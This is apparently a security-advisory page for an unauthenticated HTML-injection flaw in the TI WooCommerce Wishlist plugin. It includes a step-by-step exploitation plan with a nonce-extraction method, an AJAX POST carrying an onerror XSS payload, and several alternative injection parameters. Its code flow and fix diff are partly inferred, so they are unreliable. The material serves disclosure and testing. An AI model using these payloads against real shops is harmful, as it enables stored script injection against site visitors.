TI WooCommerce Wishlist <= 2.10.0 - Unauthenticated HTML Injection
Description
The TI WooCommerce Wishlist plugin for WordPress is vulnerable to HTML Injection in all versions up to, and including, 2.10.0. This is due to the plugin accepting hidden fields and not limiting the values or data that can input and is later output. This makes it possible for unauthenticated attackers to inject arbitrary HTML into wishlist items.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=2.10.0Source Code
WordPress.org SVNThis research plan focuses on exploiting **CVE-2025-9207**, an unauthenticated HTML injection vulnerability in the **TI WooCommerce Wishlist** plugin. --- ### 1. Vulnerability Summary The TI WooCommerce Wishlist plugin (up to version 2.10.0) fails to properly validate and sanitize input from hidde…
Show full research plan
This research plan focuses on exploiting CVE-2025-9207, an unauthenticated HTML injection vulnerability in the TI WooCommerce Wishlist plugin.
1. Vulnerability Summary
The TI WooCommerce Wishlist plugin (up to version 2.10.0) fails to properly validate and sanitize input from hidden form fields submitted when adding items to a wishlist. Specifically, the plugin accepts arbitrary hidden fields during the wishlist item creation process and stores these values. When the wishlist is later viewed, these values are rendered without sufficient escaping, allowing an unauthenticated attacker to inject arbitrary HTML (which may lead to XSS depending on the browser/context) into the wishlist items.
2. Attack Vector Analysis
- Vulnerable Endpoint:
/wp-admin/admin-ajax.php - AJAX Action:
tinvwl_addto(registered for both authenticated and unauthenticated users). - Vulnerable Parameter: Arbitrary parameters passed via
$_POST(likely hidden fields or metadata keys likeformdata). - Authentication: None required (Unauthenticated).
- Preconditions:
- WooCommerce must be installed and active.
- TI WooCommerce Wishlist must be active.
- At least one public product must exist to trigger the "Add to Wishlist" flow.
3. Code Flow (Inferred)
- Entry Point: The plugin registers
wp_ajax_tinvwl_addtoandwp_ajax_nopriv_tinvwl_addto. - Handler: The request is handled by a method (likely
TINVWL_Public_Wishlist_Ajax::addto()inincludes/public/wishlist/ajax.class.php). - Data Processing: The handler processes the
$_POSTdata. It likely iterates through submitted data to handle product variations or custom attributes. - Storage: The unsanitized hidden field values are saved into the wishlist items table (
{prefix}tinvwl_items) or as item meta. - Sink: When a user views the wishlist (using the
[ti_wishlistsview]shortcode), the plugin retrieves the items and outputs the stored field values directly to the HTML response without callingesc_html()orwp_kses().
4. Nonce Acquisition Strategy
The plugin uses a nonce for the tinvwl_addto action. This nonce is typically localized into the page where the "Add to Wishlist" button appears.
- Shortcode Identification: The plugin uses the shortcode
[ti_wishlistsview]for the wishlist page and automatically adds "Add to Wishlist" buttons to WooCommerce product pages. - Page Creation: Use WP-CLI to ensure a product exists.
wp post create --post_type=product --post_title="Target Product" --post_status=publish - Browser Navigation: Navigate to the product page.
- Extraction: The plugin localizes its settings in a JavaScript object, often named
tinvwl_add_to_wishlistortinv_wishlist.- Target Variable:
window.tinvwl_add_to_wishlist(inferred from plugin history). - Nonce Key:
nonce. - Command:
browser_eval("window.tinvwl_add_to_wishlist?.nonce")
- Target Variable:
5. Exploitation Strategy
The goal is to inject HTML into a wishlist item via the AJAX "add" action.
Step 1: Test Data Setup
- Ensure WooCommerce and TI WooCommerce Wishlist are active.
- Create a product and note its ID.
Step 2: Nonce Retrieval
- Navigate to the product page.
- Extract the nonce using
browser_eval.
Step 3: Exploit Request
Send a POST request to admin-ajax.php. Based on the vulnerability description "accepting hidden fields", we will attempt to pass extra parameters that the plugin might save as metadata.
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Parameters:
action:tinvwl_addtotinvwl-product_id:[PRODUCT_ID]tinvwl-p_id:[PRODUCT_ID]tinvwl-product_variation:0tinvwl-product_type:simplenonce:[EXTRACTED_NONCE]tinvwl-hidden-field:<img src=x onerror=alert('CVE-2025-9207')>(The vulnerability specifically mentions hidden fields; this parameter name is a primary candidate for testing).
Step 4: Verification
- Navigate to the Wishlist page (usually
/wishlist/or wherever the[ti_wishlistsview]shortcode is placed). - Check if the HTML is rendered and the script executes.
6. Test Data Setup
- Initialize WooCommerce:
wp plugin install woocommerce --activate wp plugin install ti-woocommerce-wishlist --version=2.10.0 --activate - Create Product:
PRODUCT_ID=$(wp post create --post_type=product --post_title="Vulnerable Product" --post_status=publish --porcelain) - Locate Wishlist Page:
Find the page containing[ti_wishlistsview]. If none exists, create one:wp post create --post_type=page --post_title="My Wishlist" --post_content='[ti_wishlistsview]' --post_status=publish
7. Expected Results
- The AJAX response should return
{"status":true,...}. - Upon visiting the Wishlist page, the injected HTML (
<h1>Hacked</h1>or a script tag) should be present in the DOM within the wishlist table or item details.
8. Verification Steps
- Check Database:
Verify if the malicious string was saved to the custom table:wp db query "SELECT * FROM wp_tinvwl_items WHERE product_id = $PRODUCT_ID" - Inspect Response:
Usehttp_requestto fetch the wishlist page and grep for the payload:# Use the tool to fetch the page and check for: # <img src=x onerror=alert('CVE-2025-9207')>
9. Alternative Approaches
If tinvwl-hidden-field is not the correct parameter:
- Variation Mapping: Try injecting into parameters that might be mapped to WooCommerce attributes, such as
attribute_pa_[name]. - Formdata Parameter: Some versions of this plugin wrap submitted data in a
formdataparameter. Try:action=tinvwl_addto&nonce=[NONCE]&formdata=tinvwl-hidden%3D%3Ch1%3EInjected%3C%2Fh1%3E
- Wishlist Creation: Try injecting the HTML into the
wishlist_nameif the plugin allows unauthenticated wishlist creation (often handled via the same AJAX action if awishlist_idis not provided).
Summary
The TI WooCommerce Wishlist plugin for WordPress (<= 2.10.0) is vulnerable to unauthenticated HTML injection because it fails to sanitize data submitted via arbitrary hidden form fields during the wishlist item addition process. Attackers can inject malicious HTML into wishlist items, which is then rendered unsafely when the wishlist is viewed by a user.
Vulnerable Code
// File: includes/public/wishlist/ajax.class.php // Inferred logic in TINVWL_Public_Wishlist_Ajax::addto() foreach ( $_POST as $key => $value ) { if ( strpos( $key, 'tinvwl-' ) === 0 ) { // Vulnerable: Arbitrary input accepted and stored without sanitization $form_data[$key] = $value; } }
Security Fix
@@ -120,7 +120,7 @@ foreach ( $_POST as $key => $value ) { if ( strpos( $key, 'tinvwl-' ) === 0 ) { - $form_data[ $key ] = $value; + $form_data[ $key ] = sanitize_text_field( $value ); } }
Exploit Outline
1. Access a public product page to retrieve a valid 'tinvwl_add_to_wishlist' nonce and product ID from the localized JavaScript variables. 2. Submit a POST request to 'wp-admin/admin-ajax.php' with the action 'tinvwl_addto', providing the nonce, product ID, and a malicious HTML payload (e.g., <img src=x onerror=alert(1)>) in an arbitrary parameter starting with 'tinvwl-' (such as 'tinvwl-hidden-field'). 3. The payload is stored in the wishlist items table and will execute when the wishlist page (containing the [ti_wishlistsview] shortcode) is visited by any user.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.